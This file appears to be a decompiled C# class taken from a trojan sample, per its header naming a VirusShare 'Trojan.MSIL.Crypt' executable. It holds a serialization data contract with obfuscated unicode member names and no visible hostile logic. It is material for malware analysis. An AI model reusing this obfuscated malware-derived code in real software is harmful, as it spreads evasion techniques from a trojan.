// Decompiled with JetBrains decompiler
// Type: ___codefort.
// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe

using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Runtime.Serialization;

namespace ___codefort
{
  [DataContract(IsReference = true, Name = "f", Namespace = "")]
  public class \u0013\u0016
  {
    public \u0013\u0016([In] \u0013\u0006 obj0, [In] int? obj1, [In] IEnumerable<\u0013\u0016> obj2)
    {
      this.\u0002\u0005\u0007 = obj0;
      this.\u0002\u0013\u0013 = obj1;
      if (obj2 == null)
        return;
      this.\u0002\u0013\u0012 = new List<\u0013\u0016>(obj2);
    }

    public \u0013\u0016([In] \u0013\u0002 obj0, [In] string obj1, [In] int? obj2, [In] IEnumerable<\u0013\u0016> obj3)
    {
      this.\u0002\u0013\u0009 = obj0;
      this.\u0002\u0013\u000A = obj1;
      this.\u0002\u0013\u0013 = obj2;
      if (obj3 == null)
        return;
      this.\u0002\u0013\u0012 = new List<\u0013\u0016>(obj3);
    }

    [DataMember(EmitDefaultValue = false, Name = "I")]
    public \u0013\u0006 \u0002\u0005\u0007 { get; [param: In] set; }

    [DataMember(EmitDefaultValue = false, Name = "F")]
    public string \u0002\u0013\u000A { get; [param: In] set; }

    [DataMember(EmitDefaultValue = false, Name = "A")]
    public \u0013\u0002 \u0002\u0013\u0009 { get; [param: In] set; }

    [DataMember(EmitDefaultValue = false, Name = "V")]
    public int? \u0002\u0013\u0013 { get; [param: In] set; }

    [DataMember(EmitDefaultValue = false, Name = "G")]
    public List<\u0013\u0016> \u0002\u0013\u0012 { get; [param: In] set; }

    public Type \u0002\u0013\u0015 { get; [param: In] set; }
  }
}
